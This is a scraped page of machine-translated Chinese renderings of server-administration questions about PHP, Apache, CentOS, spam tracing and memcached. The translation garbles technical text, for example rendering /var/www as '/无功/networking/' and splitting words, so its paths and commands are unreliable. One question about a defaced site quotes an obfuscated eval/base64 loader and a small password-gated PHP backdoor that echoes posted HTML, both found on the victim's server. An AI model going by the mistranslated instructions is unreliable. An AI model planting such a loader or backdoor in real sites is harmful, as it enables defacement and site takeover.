Articles of PHP

如何为我的网站添加磁盘空间到/ var / www?

我做了$ df -h,它扔了这个: Filesystem Size Used Avail Use% Mounted on /dev/md1 9.7G 1.7G 7.6G 18% / /dev/md2 683G 211M 649G 1% /home tmpfs 4.0K 0 4.0K 0% /dev/shm 问题是,我的网站位于/ var / www,我猜属于/,他们将无法使用磁盘空间的东西,如图像,需要放在webroot内,例如:/无功/networking/ my_site /的public_html / 我能做些什么呢? 我应该把磁盘空间从/ home移到/? 怎么样? 或将网站移到/ home? 有什么想法吗? 我使用centos 5.5和apache 2

如何使新文件自动属于组?

我已经使用了chgrp作为'logs'和'cache'目录,而chmod 770,所以Linux用户都被分配到该站点(用于从命令行执行脚本),用户'apache'可以读/写日志和caching文件(因为这两个用户都属于该站点的组)。 问题是,当其中一个创build一个文件,另一个是不能写或删除它。 该文件正在被创build者拥有,但不属于该组。 我认为在父目录中使用chgrp是解决scheme。 有任何想法吗? PS:我在Centos 5.5和PHP 5.3上

哪个apache / mysql / php包最适合windows?

我已经尝试过appservnetwork,迄今为止是最好的,但我没有看到他们做了一个更新的年龄,EasyPHP只是缓慢加载总是。 Wamp和Xamp,都把他们的描述不是为了生产。 我不打算公开这个网站或我正在工作的网站。 但我确实需要一个快速加载的Apache / MySQL / PHP服务器的开发目的。 我曾经非常喜欢WLMP,这是Windows的Lighttpd,但是这个项目似乎没有更新或放弃。 我拒绝使用IIS,但我不想进入任何战争。 我在家用电脑上运行windows xp sp3。 我将需要为专业工作,以及我正在工作的一些有趣的网站有一个Web服务器设置。 我只是想足够快,所以我可以通过本地运行它,而不是永远加载在浏览器。 谢谢… 我计划主要做php编程,也许通过这个coldfusion。

应该对持续的Web应用程序破解做出什么样的反应?

我有一个连续的,一致的破解尝试在网站(编码在PHP)的问题。 主要的问题是在Debian服务器上运行的sql注入尝试。 这个问题的一个次要影响就是被networking蜘蛛一再发现或反复发送垃圾邮件,虽然已经closures了一个安全漏洞,但显然还是有相关的破解网站的尝试,并且继续给网站添加负载,因此应该被阻止。 那么我可以采取什么措施来: 答:阻止已知的入侵者/已知的攻击机器(特别是通过僵尸networking或中继服务器进行匿名攻击)来防止他们重复的连续的定时访问影响站点的负载, B:报告并回应攻击(我知道向执法部门报告几乎肯定是徒劳的,可能是向攻击发起者的ip /机器报告,但是欢迎采取其他回应)。

/ var / www下的Apache目录

我inheritance了一个Apacheconfiguration,我不太明白。 目录path是 /var/www/somedir.dev/ 如果你指向浏览器 http://localhost/ 它实际上显示somedir.dev目录中的index.php文件,而不是根目录。 为什么会这样? 可以有一些configuration,使默认是/somedir.dev/目录? 根本上没有任何东西可以解决了。 我怎样才能让根目录下的东西再次被服务器识别? 谢谢,Alex

如何升级我的服务器上的PHP?

我需要在专用服务器上升级PHP版本。 我目前有5.1.6(apache2handler)安装。 我以前没做过,所以有点紧张。 另外我的操作系统:Apache版本(Apache / 2.2.3(CentOS)) 快速search显示,我需要做的就是运行up2dat / yum或apt-get。 我假设我需要使用shell程序来login,比如putty,对吗? 我是否进入根级,然后inputup2dat / yum? 我是否需要备份所有我的网站,或者这个升级不应该影响我的存储? 我不知道我想去除去PHP和安装新的。 我在服务器pipe理方面并不是很精通,而且我放弃了一些定制设置的前景并不理想……任何关于它们的消息都可以通过正常的升级来实现吗? 有点困惑。

如何追踪垃圾邮件脚本?

我的服务器昨晚发送了83000封垃圾邮件,我一直在追查这个罪魁祸首,但是我不确定如何找出问题所在。 在日志中,“发件人”地址总是像@#! 连接似乎是从本地主机 导致我相信这是一个使用PHP mail()的脚本; 函数或CGI ..所以,我怎么找出哪个脚本? 编辑更正,354284电子邮件发送与50'到'每个地址…. 17,714,200电子邮件….优秀。 编辑看起来像一个SMTP用户/机器人networking…邮件正在通过身份validation的用户发送…. Apr 22 06:31:41 impulsemedia relaylock: /var/qmail/bin/relaylock: mail from 71.129.165.22:25411 (adsl-71-129-165-22.dsl.irvnca.pacbell.net) Apr 22 06:31:42 impulsemedia relaylock: /var/qmail/bin/relaylock: mail from 71.129.165.22:25412 (adsl-71-129-165-22.dsl.irvnca.pacbell.net) Apr 22 06:31:42 impulsemedia relaylock: /var/qmail/bin/relaylock: mail from 71.129.165.22:25413 (adsl-71-129-165-22.dsl.irvnca.pacbell.net) Apr 22 06:31:42 impulsemedia relaylock: /var/qmail/bin/relaylock: mail from 71.129.165.22:25414 (adsl-71-129-165-22.dsl.irvnca.pacbell.net) Apr 22 06:31:42 impulsemedia relaylock: […]

头版不断被黑客攻击

在我的两个网站上发生类似的攻击(一个运行最新的Joomla,一个不运行)。 它通常说“被普通黑客攻击”或类似的东西。 当我检查其中一个文件时,有一个类似代码的PHP文件: eval("?>".gzuncompress(base64_decode("eJzUvWmT4kiyKPp9… etc. 我还发现了一个奇怪的HTM文件,有很多杂乱的代码。 如果你需要我可以发布这些文件压缩的​​地方。 攻击总是只是一个改变的索引页面和这个奇怪的PHP文件(但这次也有这个代码的另一个PHP页面: <?php if ($_GET['randomId'] != "Wo9QPY5euhw0bEKfNve82PW926VyluUh2HA3FGAidHDwA7h3wwZCOA2F2kva028q") { echo "Access Denied"; exit(); } // display the HTML code: echo stripslashes($_POST['wproPreviewHTML']); ?> 我已经恢复了原来的索引页面,但这真的很烦人。 我也检查我的电脑的木马,因为我读过,有人可能用特洛伊木马窃取我的FTP凭据(但这一个网站,我甚至没有使用FTP)。 帮帮我!

PHP线程在Gentoo上

Gentoo上的PHP支持threads USE标志。 据我所知,PHP不支持真正的线程; 我只知道使用pcntl_fork()分叉的能力,但是这个function是由pcntl USE标志提供的。 那么如果PHP不支持线程, threads USE标志究竟是什么? tl; dr – threads USE标志为Gentoo系统上的PHP提供什么服务?

连接到memcached“哪个端口应该使用?”(php)

我已经安装了memcached完美,我已经创build了一个新的实例,但我不明白,如果我连接到正确的端口…我总是得到一个虚假的回报从get(key) 这是我的代码: $sql = "SELECT * FROM users"; $key = md5('q'.$sql); //create an index key for memcache $result = $memcache->get($key);//lookup value in memcache //check if we got something back if($result == null) { echo "nothing back"; $r = mysql_query($sql) or die(mysql_error()." : $sql");//fetch from database if(mysql_num_rows($r)> 0) { echo "returned"; $people = array(); while ($person […]